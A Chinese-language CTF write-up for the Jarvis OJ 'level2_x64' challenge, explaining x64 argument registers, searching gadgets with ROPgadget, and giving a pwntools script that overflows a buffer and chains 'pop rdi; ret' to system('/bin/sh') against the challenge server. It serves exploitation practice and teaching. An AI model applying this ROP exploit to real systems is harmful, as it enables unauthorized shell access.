接下来做64位了,首先看下和32位有什么不一样。这篇文章的第3节说的很详细
主要来说就是:
1.内存地址的范围由32位变成了64位,但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。
2.x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,如果还有更多的参数的话才会保存在栈上。我们要修改寄存器的值就得通过找到例如pop rdi;ret这样的函数,将值放在栈顶。画张图清楚一点。
我们使用ROPgadget搜索操作寄存器的函数地址:
ROPgadget --binary level2_x64 --only "pop|rdi|ret"
有时候会搜到pop a;pop b;ret
,也没关系,在栈上放2个数据就好。
接下来看题
首先发现了system函数和bin字符串,考虑构造system(“/bin/sh”),有一个参数,用到了rdi,搜索rdi。
ROPgadget --binary level2_x64 --only "pop|rdi|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret #这一条可以利用
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret
Unique gadgets found: 11
pop_rdi_ret地址0x4006b3。ret是返回到栈中。
脚本:
from pwn import *
r=remote('pwn2.jarvisoj.com',9882)
e=ELF('./level2_x64')
sys_addr=e.symbols['system']
bin_addr=e.search('/bin/sh').next()
payload='a'*0x80+'bbbbbbbb'+p64(0x4006b3)+p64(bin_addr)+p64(sys_addr)
r.send(payload)
r.interactive()